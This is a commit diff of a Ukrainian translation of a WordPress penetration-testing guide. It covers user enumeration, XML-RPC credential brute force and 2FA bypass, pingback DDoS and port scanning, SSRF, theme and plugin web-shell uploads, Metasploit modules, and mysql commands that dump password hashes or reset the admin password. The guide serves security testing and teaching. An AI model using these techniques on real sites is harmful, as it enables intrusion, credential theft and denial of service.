Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-08-24 12:20:51 +00:00
parent a2e42a1147
commit 599d3c272d

View File

@ -4,49 +4,49 @@
## Основна інформація ## Основна інформація
- **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните деякі php файли теми для отримання RCE, ви, напевно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще одна корисна URL-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- У **wp-config.php** ви можете знайти кореневий пароль бази даних. - У файлі **wp-config.php** можна знайти root-пароль до бази даних.
- Шляхи для входу за замовчуванням для перевірки: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - Типові шляхи для входу, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Основні файли WordPress** ### **Основні файли WordPress**
- `index.php` - `index.php`
- `license.txt` містить корисну інформацію, таку як версія встановленого WordPress. - `license.txt` містить корисну інформацію, наприклад версію встановленого WordPress.
- `wp-activate.php` використовується для процесу активації електронної пошти при налаштуванні нового сайту WordPress. - `wp-activate.php` використовується для процесу активації по email при налаштуванні нового сайту WordPress.
- Папки для входу (можуть бути перейменовані для приховування): - Папки входу (можуть бути перейменовані, щоб сховати їх):
- `/wp-admin/login.php` - `/wp-admin/login.php`
- `/wp-admin/wp-login.php` - `/wp-admin/wp-login.php`
- `/login.php` - `/login.php`
- `/wp-login.php` - `/wp-login.php`
- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress. - `xmlrpc.php` — файл, який реалізує можливість передачі даних через HTTP з використанням XML як механізму кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми. - Папка `wp-content` — основний каталог, де зберігаються plugins і themes.
- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу. - `wp-content/uploads/` — каталог, куди зберігаються будь-які файли, завантажені на платформу.
- `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети. - `wp-includes/` — каталог, де зберігаються core-файли, такі як сертифікати, шрифти, JavaScript-файли та віджети.
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями. - `wp-sitemap.xml` у версіях WordPress 5.5 і вище WordPress генерує sitemap XML з усіма публічними постами та публічно доступними типами постів і таксономіями.
**Пост експлуатація** **Post exploitation**
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як ім'я бази даних, хост бази даних, ім'я користувача та пароль, ключі аутентифікації та солі, а також префікс таблиці бази даних. Цей конфігураційний файл також може бути використаний для активації режиму DEBUG, що може бути корисним для усунення неполадок. - Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача та пароль, authentication keys and salts, і префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні неполадок.
### Дозволи користувачів ### Права користувачів
- **Адміністратор** - **Administrator**
- **Редактор**: Публікує та керує своїми та чужими постами - **Editor**: Публікує і керує своїми та чужими постами
- **Автор**: Публікує та керує своїми постами - **Author**: Публікує і керує своїми власними постами
- **Співробітник**: Пише та керує своїми постами, але не може їх публікувати - **Contributor**: Пише і керує своїми постами, але не може їх публікувати
- **Підписник**: Переглядає пости та редагує свій профіль - **Subscriber**: Переглядає пости та редагує свій профіль
## **Пасивна енумерація** ## **Пасивна розвідка**
### **Отримати версію WordPress** ### **Отримати версію WordPress**
Перевірте, чи можете ви знайти файли `/license.txt` або `/readme.html` Перевірте, чи можна знайти файли `/license.txt` або `/readme.html`
У **джерельному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep - grep
```bash ```bash
@ -56,12 +56,14 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>) ![](<../../images/image (1111).png>)
- CSS посилання файли - CSS link файли
![](<../../images/image (533).png>) ![](<../../images/image (533).png>)
- JavaScript файли - JavaScript файли
![](<../../images/image (524).png>)
### Отримати плагіни ### Отримати плагіни
```bash ```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -70,46 +72,46 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash ```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
### Витяг версій загалом ### Отримання версій загалом
```bash ```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
## Активна енумерація ## Активна енумерація
### Плагіни та Теми ### Плагіни та теми
Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки). Ймовірно, ви не зможете знайти всі доступні плагіни та теми. Щоб виявити всі, вам потрібно **активно Brute Force список плагінів та тем** (сподіваємось, для нас існують автоматизовані інструменти, які містять ці списки).
### Користувачі ### Користувачі
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів: - **ID Brute:** Ви отримуєте дійсних користувачів з сайту WordPress шляхом Brute Forcing ID користувачів:
```bash ```bash
curl -s -I -X GET http://blog.example.com/?author=1 curl -s -I -X GET http://blog.example.com/?author=1
``` ```
Якщо відповіді **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь **400**, тоді id є **недійсним**. Якщо відповіді **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь **400**, то id **недійсний**.
- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, запитуючи: - **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, зробивши запит:
```bash ```bash
curl http://blog.example.com/wp-json/wp/v2/users curl http://blog.example.com/wp-json/wp/v2/users
``` ```
Ще один `/wp-json/` кінцевий пункт, який може розкрити деяку інформацію про користувачів, це: Ще один `/wp-json/` endpoint, який може розкрити деяку інформацію про користувачів, це:
```bash ```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
Зверніть увагу, що цей кінцевий пункт лише відкриває користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких активована ця функція**. Note that this endpoint only exposes users that have made a post. **Будуть надані лише відомості про користувачів, у яких ця функція увімкнена**.
Також зверніть увагу, що **/wp-json/wp/v2/pages** може витікати IP-адреси. Also note that **/wp-json/wp/v2/pages** could leak IP-адреси.
- **Перерахування імен користувачів для входу**: Коли ви входите в **`/wp-login.php`**, **повідомлення** є **іншим**, якщо вказане **ім'я користувача існує чи ні**. - **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** є **різним** і вказує, чи **username exists or not**.
### XML-RPC ### XML-RPC
Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit), наприклад). Якщо `xml-rpc.php` активний, ви можете виконати credentials brute-force або використати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес [using this](https://github.com/relarizky/wpxploit) наприклад).
Щоб перевірити, чи активний, спробуйте отримати доступ до _**/xmlrpc.php**_ і надішліть цей запит: To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Перевірити** **Перевірка**
```html ```html
<methodCall> <methodCall>
<methodName>system.listMethods</methodName> <methodName>system.listMethods</methodName>
@ -118,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Брутфорс облікових даних** **Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок: **`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт:
```html ```html
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -130,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params> </params>
</methodCall> </methodCall>
``` ```
Повідомлення _"Неправильне ім'я користувача або пароль"_ всередині відповіді з кодом 200 повинно з'явитися, якщо облікові дані недійсні. Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо облікові дані невірні.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -166,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params> </params>
</methodCall> </methodCall>
``` ```
Також є **швидший спосіб** для брутфорсу облікових даних, використовуючи **`system.multicall`**, оскільки ви можете спробувати кілька облікових даних в одному запиті: Також є **швидший спосіб** для brute-force credentials за допомогою **`system.multicall`** — ви можете спробувати кілька credentials в одному запиті:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Обхід 2FA** **Bypass 2FA**
Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які можна виконати через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) Цей метод призначений для програм, а не для людей, і є давнім, тому він не підтримує 2FA. Тому, якщо у вас є дійсні creds, але основний вхід захищено 2FA, **ви можете зловживати xmlrpc.php, щоб увійти за допомогою цих creds, обходячи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які доступні через консоль, але ви все одно можете отримати RCE, як пояснює Ippsec в [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS або сканування портів** **DDoS or port scanning**
Якщо ви можете знайти метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит до будь-якого хоста/порту.\ Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит на будь-який хост/порт.\
Це можна використовувати, щоб попросити **тисячі** сайтів **Wordpress** **доступитися** до одного **місця** (так що в цьому місці викликано **DDoS**) або ви можете використовувати це, щоб змусити **Wordpress** **сканувати** якусь внутрішню **мережу** (ви можете вказати будь-який порт). Це можна використати, щоб змусити **тисячі** Wordpress **сайтів** звернутися до одного **місця** (внаслідок чого там спричиниться **DDoS**) або ви можете використати це, щоб змусити Wordpress scan деяку внутрішню **network** (ви можете вказати будь-який порт).
```html ```html
<methodCall> <methodCall>
<methodName>pingback.ping</methodName> <methodName>pingback.ping</methodName>
@ -189,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Якщо ви отримали **faultCode** зі значенням **більше** ніж **0** (17), це означає, що порт відкритий. Якщо ви отримаєте **faultCode** зі значенням **більшим**, ніж **0** (17), це означає, що порт відкритий.
Подивіться на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для виклику DDoS. Погляньте на використання **`system.multicall`** у попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
**DDoS** **DDoS**
```html ```html
@ -207,17 +209,17 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS ### wp-cron.php DoS
Цей файл зазвичай існує в кореневій директорії сайту Wordpress: **`/wp-cron.php`**\ Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\
Коли цей файл **доступний**, виконується "**важкий**" MySQL **запит**, тому його можуть використовувати **зловмисники** для **виклику** **DoS**.\ Коли до цього файлу **звертаються**, виконується **«важкий»** MySQL **запит**, тому його можуть використовувати **зловмисники** щоб **спричинити** **DoS**.\
Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може викликати проблеми (DoS). Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку Wordpress сторінку), що на сайтах з великим трафіком може спричинити проблеми (DoS).
Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хостингу, який виконує необхідні дії з регулярним інтервалом (без виклику проблем). Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем).
### /wp-json/oembed/1.0/proxy - SSRF ### /wp-json/oembed/1.0/proxy - SSRF
Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і сайт Worpress може надіслати запит до вас. Спробуйте звернутися до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і Worpress site може виконати запит до вас.
Ось відповідь, коли це не працює: This is the response when it doesn't work:
![](<../../images/image (365).png>) ![](<../../images/image (365).png>)
@ -228,100 +230,100 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
https://github.com/t0gu/quickpress/blob/master/core/requests.go https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}} {{#endref}}
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати. Цей інструмент перевіряє, чи присутній **methodName: pingback.ping** та шлях **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати.
## Automatic Tools ## Автоматичні інструменти
```bash ```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin" #You can try to bruteforce the admin user using wpscan with "-U admin"
``` ```
## Отримання доступу шляхом перезапису біта ## Отримати доступ, перезаписавши біт
Більше ніж реальна атака, це цікавість. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) ви могли перевернути 1 біт з будь-якого файлу wordpress. Тож ви могли перевернути позицію `5389` файлу `/var/www/html/wp-includes/user.php`, щоб NOP операцію NOT (`!`). Більше це цікавість, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] можна було перевернути 1 біт у будь-якому wordpress файлі. Тож можна було змінити біт на позиції `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб замінити операцію NOT (`!`) на NOP.
```php ```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error( return new WP_Error(
``` ```
## **Panel RCE** ## **Panel RCE**
**Зміна php з теми, що використовується (потрібні облікові дані адміністратора)** **Зміна php-файлу у використаній темі (admin credentials needed)**
Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч) Appearance → Theme Editor → 404 Template (праворуч)
Змініть вміст на php shell: Замініть вміст на php shell:
![](<../../images/image (384).png>) ![](<../../images/image (384).png>)
Шукайте в інтернеті, як ви можете отримати доступ до оновленої сторінки. У цьому випадку вам потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
Ви можете використовувати: Можна використати:
```bash ```bash
use exploit/unix/webapp/wp_admin_shell_upload use exploit/unix/webapp/wp_admin_shell_upload
``` ```
to get a session. щоб отримати сесію.
## Plugin RCE ## Plugin RCE
### PHP плагін ### PHP plugin
Можливо, що можна завантажити .php файли як плагін.\ It may be possible to upload .php files as a plugin.\
Створіть свій php бекдор, використовуючи, наприклад: Створіть свій php backdoor, наприклад:
![](<../../images/image (183).png>) ![](<../../images/image (183).png>)
Потім додайте новий плагін: Then add a new plugin:
![](<../../images/image (722).png>) ![](<../../images/image (722).png>)
Завантажте плагін і натисніть Встановити зараз: Upload plugin and press Install Now:
![](<../../images/image (249).png>) ![](<../../images/image (249).png>)
Натисніть Продовжити: Click on Procced:
![](<../../images/image (70).png>) ![](<../../images/image (70).png>)
Ймовірно, це нічого не зробить на перший погляд, але якщо ви перейдете до Медіа, ви побачите завантажену оболонку: Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>) ![](<../../images/image (462).png>)
Доступ до неї, і ви побачите URL для виконання реверсної оболонки: Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>) ![](<../../images/image (1006).png>)
### Завантаження та активація шкідливого плагіна ### Uploading and activating malicious plugin
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, який можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином: This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374). 1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Встановлення плагіна**: 2. **Plugin Installation**:
- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель управління > Плагіни > Завантажити плагін`. - Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Завантажте zip-файл завантаженого плагіна. - Upload the zip file of the downloaded plugin.
3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління. 3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
4. **Експлуатація**: 4. **Exploitation**:
- З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий. - With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту. - The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress. - It's noted that this is just one of the many methods to exploit a WordPress site.
Контент включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом. Контент включає візуальні підказки, що ілюструють кроки в WordPress dashboard для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною і неетичною без належної авторизації. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing з явним дозволом.
**Для більш детальних кроків перевірте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Від XSS до RCE ## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — це скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для отримання додаткової інформації перевірте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він надає **підтримку для версій WordPress 6.X.X, 5.X.X та 4.X.X і дозволяє:** - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він забезпечує підтримку для Wordpress Versions 6.X.X, 5.X.X and 4.X.X та дозволяє:
- _**Ескалація привілеїв:**_ Створює користувача в WordPress. - _**Privilege Escalation:**_ Створює користувача в WordPress.
- _**(RCE) Завантаження користувацького плагіна (бекдору):**_ Завантажте свій користувацький плагін (бекдор) до WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажує власний плагін (backdoor) у WordPress.
- _**(RCE) Редагування вбудованого плагіна:**_ Редагуйте вбудовані плагіни в WordPress. - _**(RCE) Built-In Plugin Edit:**_ Редагує вбудовані плагіни у WordPress.
- _**(RCE) Редагування вбудованої теми:**_ Редагуйте вбудовані теми в WordPress. - _**(RCE) Built-In Theme Edit:**_ Редагує вбудовані теми у WordPress.
- _**(Користувацький) Користувацькі експлойти:**_ Користувацькі експлойти для сторонніх плагінів/тем WordPress. - _**(Custom) Custom Exploits:**_ Експлойти для сторонніх плагінів/тем WordPress.
## Постексплуатація ## Post Exploitation
Витягніть імена користувачів та паролі: Отримати імена користувачів та паролі:
```bash ```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
``` ```
@ -331,15 +333,15 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
``` ```
## Wordpress Plugins Pentest ## Wordpress Plugins Pentest
### Attack Surface ### Поверхня атаки
Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете знайти, як плагін може відкривати функціональність, у наступних пунктах та деяких прикладах вразливих плагінів у [**цьому блозі**](https://nowotarski.info/wordpress-nonce-authorization/). Знання того, як плагін Wordpress може виставляти функціональність, є ключовим для знаходження вразливостей у його функціональності. Ви можете побачити, як плагін може виставляти функціональність у наступних пунктах та приклади вразливих плагінів у [**цей пост у блозі**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`** - **`wp_ajax`**
Один із способів, яким плагін може відкривати функції для використання, - це через AJAX обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який **будь-який користувач, що аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі). Один зі способів, яким плагін може виставляти функції — через AJAX обробники. Ці обробники можуть містити помилки в логіці, авторизації або автентифікації. Крім того, досить часто ці функції будуть базувати й аутентифікацію, й авторизацію на наявності wordpress nonce, який **будь-який аутентифікований користувач в екземплярі Wordpress може мати** (незалежно від його ролі).
Це функції, які можуть бути використані для відкриття функції в плагіні: Це функції, які можуть використовуватись для виставлення функції в плагіні:
```php ```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
@ -347,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).** **Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).**
> [!CAUTION] > [!CAUTION]
> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. > Більше того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач аутентифікований, і зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть отримати доступ до дій з високими привілеями.
- **REST API** - **REST API**
Також можливо експонувати функції з WordPress, реєструючи REST API за допомогою функції `register_rest_route`: Також можливо відкрити доступ до функцій wordpress, зареєструвавши REST API за допомогою функції `register_rest_route`:
```php ```php
register_rest_route( register_rest_route(
$this->namespace, '/get/', array( $this->namespace, '/get/', array(
@ -361,23 +363,68 @@ $this->namespace, '/get/', array(
) )
); );
``` ```
`permission_callback` — це зворотний виклик функції, яка перевіряє, чи має даний користувач право викликати метод API. The `permission_callback` — це callback-функція, яка перевіряє, чи авторизований певний користувач для виклику методу API.
**Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.** **Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.**
- **Прямий доступ до php файлу** - **Прямий доступ до PHP-файлу**
Звичайно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Отже, якщо плагін відкриває будь-яку вразливу функціональність, яка активується просто доступом до файлу, це буде експлуатовано будь-яким користувачем. Звісно, Wordpress використовує PHP і файли всередині плагінів доступні напряму через веб. Тому якщо плагін відкриває якусь вразливу функціональність, яка спрацьовує просто при доступі до файлу, вона буде експлуатована будь-яким користувачем.
### Неавтентифіковане довільне видалення файлів через wp_ajax_nopriv (Тема Litho <= 3.0) ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
